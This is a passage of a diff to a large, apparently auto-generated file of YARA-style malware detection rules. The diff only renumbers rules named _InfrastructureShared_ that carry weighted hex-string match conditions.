1)*28261+(#a_65_7 & 1)*27747+(#a_00_8 & 1)*26483+(#a_61_9 & 1)*25857+(#a_50_10 & 1)*12133+(#a_00_11 & 1)*14637) >=10 } -rule _InfrastructureShared_18787{ +rule _InfrastructureShared_19969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -229203,7 +243767,7 @@ rule _InfrastructureShared_18787{ ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*28257+(#a_2e_2 & 1)*28261+(#a_73_3 & 1)*28207+(#a_46_4 & 1)*17746+(#a_2d_5 & 1)*31277+(#a_03_6 & 1)*1+(#a_01_7 & 1)*1) >=3 } -rule _InfrastructureShared_18788{ +rule _InfrastructureShared_19970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -229218,7 +243782,7 @@ rule _InfrastructureShared_18788{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*11585+(#a_66_2 & 1)*9216+(#a_61_3 & 1)*281+(#a_19_4 & 1)*1+(#a_90_5 & 1)*-230) >=6 } -rule _InfrastructureShared_18789{ +rule _InfrastructureShared_19971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -229232,7 +243796,7 @@ rule _InfrastructureShared_18789{ ((#a_54_0 & 1)*18467+(#a_02_2 & 1)*0+(#a_2d_3 & 1)*12855+(#a_30_4 & 1)*13944+(#a_01_5 & 1)*30720) >=6 } -rule _InfrastructureShared_18790{ +rule _InfrastructureShared_19972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -229251,7 +243815,7 @@ rule _InfrastructureShared_18790{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*11571+(#a_74_2 & 1)*28233+(#a_63_3 & 1)*30063+(#a_56_4 & 1)*29285+(#a_6e_5 & 1)*25970+(#a_69_6 & 1)*29561+(#a_61_7 & 1)*29281+(#a_4d_8 & 1)*9984+(#a_6e_9 & 1)*18280) >=10 } -rule _InfrastructureShared_18791{ +rule _InfrastructureShared_19973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -229270,7 +243834,7 @@ rule _InfrastructureShared_18791{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30209+(#a_69_2 & 1)*26926+(#a_61_3 & 1)*28530+(#a_6e_4 & 1)*18222+(#a_65_5 & 1)*26740+(#a_65_6 & 1)*28783+(#a_65_7 & 1)*29301+(#a_33_8 & 1)*13137+(#a_73_9 & 1)*29441) >=10 } -rule _InfrastructureShared_18792{ +rule _InfrastructureShared_19974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -229290,7 +243854,7 @@ rule _InfrastructureShared_18792{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*11890+(#a_65_2 & 1)*25927+(#a_6d_3 & 1)*29811+(#a_23_4 & 1)*11+(#a_54_5 & 1)*8499+(#a_01_6 & 1)*11008+(#a_01_7 & 1)*29793+(#a_6f_8 & 1)*17004+(#a_61_9 & 1)*29541+(#a_00_10 & 1)*25972) >=10 } -rule _InfrastructureShared_18793{ +rule _InfrastructureShared_19975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -229308,7 +243872,7 @@ rule _InfrastructureShared_18793{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29441+(#a_68_2 & 1)*26468+(#a_66_3 & 1)*26214+(#a_21_4 & 1)*18498+(#a_65_5 & 1)*26998+(#a_01_6 & 1)*28521+(#a_6d_7 & 1)*28781+(#a_48_10 & 1)*8448) >=11 } -rule _InfrastructureShared_18794{ +rule _InfrastructureShared_19976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 07 00 21 " @@ -229323,7 +243887,7 @@ rule _InfrastructureShared_18794{ ((#a_4c_0 & 1)*21539+(#a_75_1 & 1)*25938+(#a_63_2 & 1)*25701+(#a_6b_3 & 1)*28520+(#a_61_4 & 1)*11632+(#a_00_6 & 1)*196) >=12 } -rule _InfrastructureShared_18795{ +rule _InfrastructureShared_19977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -229340,7 +243904,7 @@ rule _InfrastructureShared_18795{ ((#a_54_0 & 1)*18467+(#a_38_2 & 1)*16708+(#a_00_4 & 1)*82+(#a_00_6 & 1)*111+(#a_74_7 & 1)*16641+(#a_00_9 & 1)*32+(#a_00_11 & 1)*45+(#a_00_13 & 1)*115) >=14 } -rule _InfrastructureShared_18796{ +rule _InfrastructureShared_19978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 04 00 21 " @@ -229352,7 +243916,7 @@ rule _InfrastructureShared_18796{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28483+(#a_00_3 & 1)*111) >=15 } -rule _InfrastructureShared_18797{ +rule _InfrastructureShared_19979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -229377,7 +243941,7 @@ rule _InfrastructureShared_18797{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_73_2 & 1)*11879+(#a_e8_3 & 1)*8631+(#a_00_4 & 1)*144+(#a_24_5 & 1)*-29949+(#a_28_6 & 1)*21643+(#a_03_7 & 1)*-100+(#a_03_8 & 1)*-100+(#a_03_9 & 1)*-100+(#a_03_10 & 1)*-100+(#a_03_11 & 1)*-100+(#a_03_12 & 1)*-100+(#a_81_13 & 1)*0+(#a_00_15 & 1)*64+(#a_00_16 & 1)*50) >=17 } -rule _InfrastructureShared_18798{ +rule _InfrastructureShared_19980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0e 00 21 " @@ -229394,7 +243958,7 @@ rule _InfrastructureShared_18798{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*9292+(#a_8b_4 & 1)*3840+(#a_90_5 & 1)*400+(#a_24_7 & 1)*-29949+(#a_04_8 & 1)*-28619+(#a_f1_10 & 1)*787+(#a_00_12 & 1)*-32392) >=1 } -rule _InfrastructureShared_18799{ +rule _InfrastructureShared_19981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -229406,7 +243970,7 @@ rule _InfrastructureShared_18799{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*70+(#a_00_4 & 1)*64) >=5 } -rule _InfrastructureShared_18800{ +rule _InfrastructureShared_19982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -229417,7 +243981,7 @@ rule _InfrastructureShared_18800{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-30720) >=6 } -rule _InfrastructureShared_18801{ +rule _InfrastructureShared_19983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -229427,7 +243991,7 @@ rule _InfrastructureShared_18801{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_18802{ +rule _InfrastructureShared_19984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 17 00 21 " @@ -229459,7 +244023,7 @@ rule _InfrastructureShared_18802{ ((#a_73_0 & 1)*21027+(#a_01_1 & 1)*1536+(#a_01_2 & 1)*29230+(#a_00_3 & 1)*29230+(#a_6f_4 & 1)*25938+(#a_69_5 & 1)*17921+(#a_67_6 & 1)*26471+(#a_72_7 & 1)*25197+(#a_74_8 & 1)*27749+(#a_00_9 & 1)*22388+(#a_69_10 & 1)*385+(#a_01_11 & 1)*28516+(#a_63_12 & 1)*26165+(#a_01_13 & 1)*28265+(#a_61_14 & 1)*28484+(#a_59_15 & 1)*22886+(#a_41_16 & 1)*27491+(#a_00_17 & 1)*32+(#a_00_18 & 1)*110+(#a_00_19 & 1)*102+(#a_59_20 & 1)*17996+(#a_00_21 & 1)*120+(#a_00_22 & 1)*107) >=10 } -rule _InfrastructureShared_18803{ +rule _InfrastructureShared_19985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -229479,7 +244043,7 @@ rule _InfrastructureShared_18803{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*24934+(#a_73_2 & 1)*25715+(#a_73_3 & 1)*24932+(#a_21_4 & 1)*21038+(#a_20_5 & 1)*27746+(#a_74_6 & 1)*17508+(#a_6f_7 & 1)*29559+(#a_00_8 & 1)*19+(#a_6e_9 & 1)*26433+(#a_4e_10 & 1)*30553) >=11 } -rule _InfrastructureShared_18804{ +rule _InfrastructureShared_19986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 11 00 21 " @@ -229502,7 +244066,7 @@ rule _InfrastructureShared_18804{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*19828+(#a_69_2 & 1)*26191+(#a_4c_3 & 1)*29281+(#a_4c_4 & 1)*25956+(#a_63_5 & 1)*13878+(#a_01_6 & 1)*2048+(#a_01_7 & 1)*21081+(#a_44_8 & 1)*19529+(#a_00_10 & 1)*114+(#a_00_12 & 1)*105+(#a_00_13 & 1)*97+(#a_6e_14 & 1)*26994+(#a_6c_15 & 1)*25646) >=15 } -rule _InfrastructureShared_18805{ +rule _InfrastructureShared_19987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -229525,7 +244089,7 @@ rule _InfrastructureShared_18805{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*27503+(#a_65_2 & 1)*385+(#a_4e_3 & 1)*30553+(#a_7f_4 & 1)*-8359+(#a_00_6 & 1)*108+(#a_00_8 & 1)*115+(#a_00_10 & 1)*105+(#a_09_12 & 1)*11408+(#a_2d_13 & 1)*14637+(#a_39_14 & 1)*12378+(#a_2d_16 & 1)*2305+(#a_5a_17 & 1)*16697+(#a_09_18 & 1)*14637) >=19 } -rule _InfrastructureShared_18806{ +rule _InfrastructureShared_19988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -229538,7 +244102,7 @@ rule _InfrastructureShared_18806{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_00_2 & 1)*110+(#a_00_3 & 1)*102) >=1 } -rule _InfrastructureShared_18807{ +rule _InfrastructureShared_19989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -229553,7 +244117,7 @@ rule _InfrastructureShared_18807{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*-28550+(#a_2d_2 & 1)*23085+(#a_01_3 & 1)*-28672+(#a_2c_4 & 1)*114+(#a_61_5 & 1)*14918) >=3 } -rule _InfrastructureShared_18808{ +rule _InfrastructureShared_19990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0a 00 21 " @@ -229570,7 +244134,7 @@ rule _InfrastructureShared_18808{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*28274+(#a_65_2 & 1)*25888+(#a_2e_3 & 1)*11822+(#a_46_5 & 1)*18689+(#a_5f_6 & 1)*27748+(#a_90_7 & 1)*11617+(#a_00_9 & 1)*67) >=4 } -rule _InfrastructureShared_18809{ +rule _InfrastructureShared_19991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -229583,7 +244147,7 @@ rule _InfrastructureShared_18809{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_00_2 & 1)*31277+(#a_00_3 & 1)*114) >=5 } -rule _InfrastructureShared_18810{ +rule _InfrastructureShared_19992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -229596,7 +244160,7 @@ rule _InfrastructureShared_18810{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_22_3 & 1)*12800+(#a_00_5 & 1)*38) >=5 } -rule _InfrastructureShared_18811{ +rule _InfrastructureShared_19993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -229612,7 +244176,7 @@ rule _InfrastructureShared_18811{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*21569+(#a_41_2 & 1)*11617+(#a_53_3 & 1)*21057+(#a_66_4 & 1)*13+(#a_00_5 & 1)*104+(#a_00_6 & 1)*100) >=6 } -rule _InfrastructureShared_18812{ +rule _InfrastructureShared_19994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -229628,7 +244192,7 @@ rule _InfrastructureShared_18812{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*104+(#a_00_3 & 1)*51+(#a_00_5 & 1)*92+(#a_31_6 & 1)*19789+(#a_6f_7 & 1)*29547+(#a_70_8 & 1)*24931) >=10 } -rule _InfrastructureShared_18813{ +rule _InfrastructureShared_19995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -229646,7 +244210,7 @@ rule _InfrastructureShared_18813{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*25972+(#a_00_2 & 1)*28261+(#a_45_3 & 1)*385+(#a_5c_4 & 1)*-32486+(#a_61_5 & 1)*25956+(#a_81_7 & 1)*-29880+(#a_8b_8 & 1)*2115+(#a_48_9 & 1)*400) >=10 } -rule _InfrastructureShared_18814{ +rule _InfrastructureShared_19996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -229659,7 +244223,7 @@ rule _InfrastructureShared_18814{ ((#a_4c_0 & 1)*21539+(#a_07_1 & 1)*-28664+(#a_43_2 & 1)*1419+(#a_00_3 & 1)*8228) >=4 } -rule _InfrastructureShared_18815{ +rule _InfrastructureShared_19997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -229672,7 +244236,7 @@ rule _InfrastructureShared_18815{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*50+(#a_30_3 & 1)*11585+(#a_41_4 & 1)*27753) >=5 } -rule _InfrastructureShared_18816{ +rule _InfrastructureShared_19998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -229686,7 +244250,7 @@ rule _InfrastructureShared_18816{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*32+(#a_00_3 & 1)*42+(#a_00_4 & 1)*42+(#a_00_5 & 1)*72) >=5 } -rule _InfrastructureShared_18817{ +rule _InfrastructureShared_19999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -229701,7 +244265,7 @@ rule _InfrastructureShared_18817{ ((#a_4c_0 & 1)*21539+(#a_8b_1 & 1)*0+(#a_00_2 & 1)*9284+(#a_01_3 & 1)*9348+(#a_c7_4 & 1)*9324+(#a_31_5 & 1)*28777) >=6 } -rule _InfrastructureShared_18818{ +rule _InfrastructureShared_20000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -229719,7 +244283,7 @@ rule _InfrastructureShared_18818{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*27500+(#a_7a_2 & 1)*29537+(#a_68_3 & 1)*23609+(#a_48_4 & 1)*8448+(#a_55_5 & 1)*385+(#a_74_6 & 1)*24939+(#a_69_7 & 1)*11886+(#a_65_8 & 1)*25970) >=9 } -rule _InfrastructureShared_18819{ +rule _InfrastructureShared_20001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -229737,7 +244301,7 @@ rule _InfrastructureShared_18819{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*25710+(#a_52_2 & 1)*28271+(#a_01_3 & 1)*12288+(#a_83_4 & 1)*0+(#a_64_5 & 1)*28520+(#a_65_6 & 1)*9473+(#a_6c_7 & 1)*16641+(#a_01_8 & 1)*24900) >=9 } -rule _InfrastructureShared_18820{ +rule _InfrastructureShared_20002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -229756,7 +244320,7 @@ rule _InfrastructureShared_18820{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*26995+(#a_65_2 & 1)*27749+(#a_43_3 & 1)*28261+(#a_01_4 & 1)*28521+(#a_72_5 & 1)*26478+(#a_6f_6 & 1)*27750+(#a_65_7 & 1)*29285+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_18821{ +rule _InfrastructureShared_20003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -229774,7 +244338,7 @@ rule _InfrastructureShared_18821{ ((#a_54_0 & 1)*18467+(#a_73_2 & 1)*13569+(#a_64_3 & 1)*29295+(#a_67_4 & 1)*31074+(#a_2e_5 & 1)*25956+(#a_65_6 & 1)*29540+(#a_6e_7 & 1)*25968+(#a_6d_8 & 1)*-32495+(#a_69_9 & 1)*26996) >=10 } -rule _InfrastructureShared_18822{ +rule _InfrastructureShared_20004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -229793,7 +244357,7 @@ rule _InfrastructureShared_18822{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29532+(#a_01_2 & 1)*11008+(#a_69_3 & 1)*24937+(#a_4b_4 & 1)*21249+(#a_53_5 & 1)*-32488+(#a_55_6 & 1)*18771+(#a_72_7 & 1)*28531+(#a_30_8 & 1)*11622+(#a_01_9 & 1)*1) >=10 } -rule _InfrastructureShared_18823{ +rule _InfrastructureShared_20005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -229813,7 +244377,7 @@ rule _InfrastructureShared_18823{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*385+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_83_8 & 1)*0+(#a_6f_9 & 1)*25970+(#a_6f_10 & 1)*25970) >=11 } -rule _InfrastructureShared_18824{ +rule _InfrastructureShared_20006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0b 00 21 " @@ -229833,7 +244397,7 @@ rule _InfrastructureShared_18824{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_72_2 & 1)*25956+(#a_68_3 & 1)*290+(#a_65_4 & 1)*29301+(#a_74_5 & 1)*18177+(#a_73_6 & 1)*26996+(#a_38_7 & 1)*14132+(#a_48_8 & 1)*1766+(#a_45_9 & 1)*21072+(#a_65_10 & 1)*385) >=12 } -rule _InfrastructureShared_18825{ +rule _InfrastructureShared_20007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -229854,7 +244418,7 @@ rule _InfrastructureShared_18825{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24940+(#a_73_2 & 1)*19713+(#a_4d_3 & 1)*-32495+(#a_20_4 & 1)*29295+(#a_69_5 & 1)*21855+(#a_52_6 & 1)*-32472+(#a_4d_7 & 1)*26978+(#a_65_8 & 1)*11891+(#a_00_9 & 1)*114+(#a_00_11 & 1)*116+(#a_00_12 & 1)*112) >=14 } -rule _InfrastructureShared_18826{ +rule _InfrastructureShared_20008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -229878,7 +244442,7 @@ rule _InfrastructureShared_18826{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*-32505+(#a_79_2 & 1)*29298+(#a_74_3 & 1)*25186+(#a_50_4 & 1)*24947+(#a_69_5 & 1)*19201+(#a_00_7 & 1)*46+(#a_00_9 & 1)*112+(#a_00_11 & 1)*119+(#a_75_12 & 1)*24421+(#a_65_13 & 1)*24947+(#a_6c_14 & 1)*28192+(#a_6c_15 & 1)*385+(#a_53_16 & 1)*14924+(#a_31_17 & 1)*14647) >=18 } -rule _InfrastructureShared_18827{ +rule _InfrastructureShared_20009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 06 00 21 " @@ -229891,7 +244455,7 @@ rule _InfrastructureShared_18827{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*47+(#a_00_3 & 1)*116+(#a_00_5 & 1)*80) >=100 } -rule _InfrastructureShared_18828{ +rule _InfrastructureShared_20010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " @@ -229911,7 +244475,7 @@ rule _InfrastructureShared_18828{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_03_10 & 1)*1) >=1 } -rule _InfrastructureShared_18829{ +rule _InfrastructureShared_20011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0f 00 21 " @@ -229934,7 +244498,7 @@ rule _InfrastructureShared_18829{ ((#a_4c_0 & 1)*21539+(#a_62_1 & 1)*12337+(#a_01_2 & 1)*5632+(#a_59_4 & 1)*384+(#a_84_5 & 1)*0+(#a_02_6 & 1)*14384+(#a_73_7 & 1)*1538+(#a_00_8 & 1)*8226+(#a_80_9 & 1)*2+(#a_80_10 & 1)*2+(#a_80_11 & 1)*2+(#a_80_12 & 1)*2+(#a_80_13 & 1)*2+(#a_80_14 & 1)*1) >=2 } -rule _InfrastructureShared_18830{ +rule _InfrastructureShared_20012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -229946,7 +244510,7 @@ rule _InfrastructureShared_18830{ ((#a_4c_0 & 1)*21539+(#a_79_1 & 1)*19206+(#a_02_2 & 1)*15392) >=3 } -rule _InfrastructureShared_18831{ +rule _InfrastructureShared_20013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -229965,7 +244529,7 @@ rule _InfrastructureShared_18831{ ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*6912+(#a_00_2 & 1)*112+(#a_2e_3 & 1)*26477+(#a_5c_4 & 1)*17153+(#a_63_5 & 1)*30789+(#a_00_6 & 1)*67+(#a_7a_7 & 1)*24841+(#a_09_8 & 1)*6544+(#a_2d_9 & 1)*31277) >=3 } -rule _InfrastructureShared_18832{ +rule _InfrastructureShared_20014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -229979,7 +244543,7 @@ rule _InfrastructureShared_18832{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_6f_2 & 1)*29793+(#a_20_3 & 1)*30575+(#a_70_4 & 1)*15616) >=5 } -rule _InfrastructureShared_18833{ +rule _InfrastructureShared_20015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -229993,7 +244557,7 @@ rule _InfrastructureShared_18833{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28265+(#a_69_2 & 1)*23662+(#a_01_3 & 1)*30068+(#a_6f_4 & 1)*30023) >=6 } -rule _InfrastructureShared_18834{ +rule _InfrastructureShared_20016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -230011,7 +244575,7 @@ rule _InfrastructureShared_18834{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25957+(#a_73_2 & 1)*28261+(#a_64_3 & 1)*29808+(#a_51_4 & 1)*19246+(#a_5c_6 & 1)*10241+(#a_65_7 & 1)*25206+(#a_6c_8 & 1)*29811+(#a_72_9 & 1)*28012) >=10 } -rule _InfrastructureShared_18835{ +rule _InfrastructureShared_20017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -230030,7 +244594,7 @@ rule _InfrastructureShared_18835{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*28787+(#a_6b_2 & 1)*31079+(#a_6c_3 & 1)*26220+(#a_72_4 & 1)*14930+(#a_7a_5 & 1)*27500+(#a_78_6 & 1)*29793+(#a_64_7 & 1)*267+(#a_69_8 & 1)*25972+(#a_6f_9 & 1)*25970) >=10 } -rule _InfrastructureShared_18836{ +rule _InfrastructureShared_20018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 16 00 21 " @@ -230060,7 +244624,7 @@ rule _InfrastructureShared_18836{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*27748+(#a_64_2 & 1)*269+(#a_73_3 & 1)*108+(#a_74_4 & 1)*25970+(#a_70_5 & 1)*29803+(#a_72_6 & 1)*25964+(#a_73_7 & 1)*18783+(#a_52_8 & 1)*29795+(#a_00_9 & 1)*50+(#a_00_11 & 1)*115+(#a_00_12 & 1)*32+(#a_6f_13 & 1)*266+(#a_63_14 & 1)*28755+(#a_81_15 & 1)*1+(#a_81_16 & 1)*1+(#a_81_17 & 1)*1+(#a_81_18 & 1)*1+(#a_81_19 & 1)*1+(#a_81_20 & 1)*1+(#a_81_21 & 1)*1) >=12 } -rule _InfrastructureShared_18837{ +rule _InfrastructureShared_20019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -230081,7 +244645,7 @@ rule _InfrastructureShared_18837{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*29793+(#a_67_2 & 1)*27749+(#a_5f_3 & 1)*25972+(#a_3a_4 & 1)*24938+(#a_00_5 & 1)*101+(#a_00_6 & 1)*115+(#a_75_7 & 1)*25938+(#a_74_9 & 1)*385+(#a_74_10 & 1)*27759+(#a_53_11 & 1)*-32499+(#a_42_12 & 1)*28265) >=13 } -rule _InfrastructureShared_18838{ +rule _InfrastructureShared_20020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0d 00 21 " @@ -230100,7 +244664,7 @@ rule _InfrastructureShared_18838{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*55+(#a_00_3 & 1)*115+(#a_53_5 & 1)*3328+(#a_43_6 & 1)*25957+(#a_65_7 & 1)*25902+(#a_65_9 & 1)*385+(#a_54_10 & 1)*29808+(#a_72_11 & 1)*29285+(#a_53_12 & 1)*21076) >=14 } -rule _InfrastructureShared_18839{ +rule _InfrastructureShared_20021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -230123,7 +244687,7 @@ rule _InfrastructureShared_18839{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25445+(#a_70_2 & 1)*29251+(#a_00_3 & 1)*29806+(#a_6c_4 & 1)*385+(#a_52_5 & 1)*21320+(#a_63_6 & 1)*16175+(#a_46_8 & 1)*21249+(#a_01_9 & 1)*2+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_85_12 & 1)*0+(#a_00_13 & 1)*114+(#a_00_15 & 1)*102) >=17 } -rule _InfrastructureShared_18840{ +rule _InfrastructureShared_20022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 0b 00 21 " @@ -230140,7 +244704,7 @@ rule _InfrastructureShared_18840{ ((#a_54_0 & 1)*18467+(#a_3f_1 & 1)*8276+(#a_53_2 & 1)*5120+(#a_00_4 & 1)*95+(#a_65_5 & 1)*28515+(#a_74_6 & 1)*28520+(#a_01_8 & 1)*17707+(#a_00_10 & 1)*101) >=26 } -rule _InfrastructureShared_18841{ +rule _InfrastructureShared_20023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -230155,7 +244719,7 @@ rule _InfrastructureShared_18841{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*115+(#a_00_2 & 1)*312+(#a_00_4 & 1)*97+(#a_42_5 & 1)*21294+(#a_90_6 & 1)*1223) >=1 } -rule _InfrastructureShared_18842{ +rule _InfrastructureShared_20024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -230166,7 +244730,7 @@ rule _InfrastructureShared_18842{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*27) >=2 } -rule _InfrastructureShared_18843{ +rule _InfrastructureShared_20025{ 